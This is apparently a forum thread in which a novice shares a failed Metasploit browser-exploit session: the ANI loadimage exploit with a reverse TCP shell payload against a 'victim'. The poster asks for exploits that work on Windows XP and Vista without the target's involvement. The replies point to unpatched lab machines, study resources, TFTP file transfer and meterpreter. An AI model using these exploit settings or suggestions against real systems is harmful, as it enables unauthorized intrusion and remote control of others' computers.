I have some problem with use metasploit

i'm test more exploit but not sucss I'don't wht problem

look this example

use windows/browser/ani_loadimage_chunksize

set SRVHOST myip

set SRVPORT 8000

set URIPATH nono

set payload windows/shell_reverse_tcp

set LHOST ip victim

>exploit

• Started reverse handler
• Using URL: http://ip:8000/nono
• Server started.

 after i'm test this on OS xp sp and IE 7 ,IE 6

after tell me

• Sending HTML page to ip:6668...
• Sending ANI file to ip:6668...

i'm wating but nothing happen

>> sessions -l

Active sessions===============No active sessions.

what problem >>>

any idea?

and can any one give me some exploit working on xp sp2 and sp3

thanx

but i'm show target

--  ---- 
 0   (Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista

and i'm test on 7 pc's seam problem 

ok thanx

but can give me some name exploit working on win xp sp1,sp2,sp3,vista

and I want exploit use without send the url to victim

I'm using MSF under windows xp

ms08-067 exploit

You probably aren't vulnerable to that either, or something was wrong.  Since you may not be vulnerable to much, you may want to check out DVL linux (damn vulnerable linux) and start messing around on there.  That might get you further in the process.  Or install windows xp without service packs or patches and then metasploit becomes a lot more interesting.

Yes, I think you need to do more research and studying regarding exploits and how metasploit works.

I suggest you start here.

BillV

Your biggest problem is trying to exploit a fully patched windows xp box with metasploit.  If you want to learn more about metasploit and practice pen testing techniques don't attack a fully patched box in your lab. 

Metasploit doesn't have any zero day vulnerabilities included in it (currently) so you are never going to be able to successfully exploit a fully patched box with metasploit right now.  Now if you really want to exploit a fully patched xp box you should take Billv's suggestion to heart because that is going to involve getting into zero day vulnerability research.  Which requires an in depth understanding of how exploits work.  If you want to get into that I recommend starting by reading Hacking: The Art of Exploitation, 2nd Edition. 

If your getting files from a command prompt, you have to get familiar with the tftp command. Remember to start the TFTP Server on your Linux box, when requesting the files using  tftp they come from your /tmp directory. You might want to try the meterpreter/shell_reverse_tcp Payload and use the upload from there, it's quicker. The meterpreter also has alot of other useful options as well.